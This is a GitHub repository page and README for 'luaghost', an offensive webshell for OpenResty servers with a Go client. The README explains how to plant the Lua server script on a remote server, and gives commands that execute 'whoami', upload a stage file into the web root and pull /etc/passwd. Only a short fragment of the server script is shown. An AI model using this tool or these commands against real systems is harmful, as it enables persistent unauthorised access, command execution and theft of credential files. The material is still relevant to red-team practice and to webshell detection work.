https://github.com/soxfmr/luaghost
A Lua WebShell runs on OpenResty and implements with AES encryption
https://github.com/soxfmr/luaghost
lua offensive red-team webshell
Last synced: about 1 month ago
JSON representation
A Lua WebShell runs on OpenResty and implements with AES encryption
- Host: GitHub
- URL: https://github.com/soxfmr/luaghost
- Owner: soxfmr
- License: gpl-3.0
- Created: 2020-10-30T07:57:08.000Z (over 5 years ago)
- Default Branch: main
- Last Pushed: 2021-05-24T10:05:22.000Z (almost 5 years ago)
- Last Synced: 2024-10-31T08:53:14.021Z (over 1 year ago)
- Topics: lua, offensive, red-team, webshell
- Language: Go
- Homepage:
- Size: 17.6 KB
- Stars: 8
- Watchers: 2
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# luaghost
Lua WebShell For OpenResty with AES encryption
# Usage
## 1. Upload the server side script to remote server
```lua
aes = require("resty.aes")
str = require("resty.string")
rand = require("resty.random")
-- Change your encryption key here
template_name = "client_heartbeat"
```
## 2. Access the WebShell by using the client
```shell
$ go get -v # Pull the Golang dependencies
$ go run luaghost.go
-charset string
Access key (default "GBK")
-cmd string
Command to execute, or left it bank to upload a file
-down
Download the remote file instead upload file
-file string
Local file you want to upload / saved
-key string
Access key
-rpath string
Remote file path (with the filename, C:\\1.txt etc, double backslash for Windows)
-url string
Target URL
```
For example, execute the command:
```shell
$ go run luaghost.go -url https://example.com/shell.lua -key client_heartbeat -cmd "whoami"
```
Uploading file to remote server:
```shell
$ go run luaghost.go -url https://example.com/shell.lua -key client_heartbeat -file ~/stage.lua -rpath "/var/www/html/stage.lua"
```
Downloading a file from remote server:
```shell
$ go run luaghost.go -url https://example.com/shell.lua -key client_heartbeat -down -file /tmp/passwd -rpath "/etc/passwd"
```
# Disclaimer
**This tool is used for internal security accessment && audit only. Please obey the laws of your country.**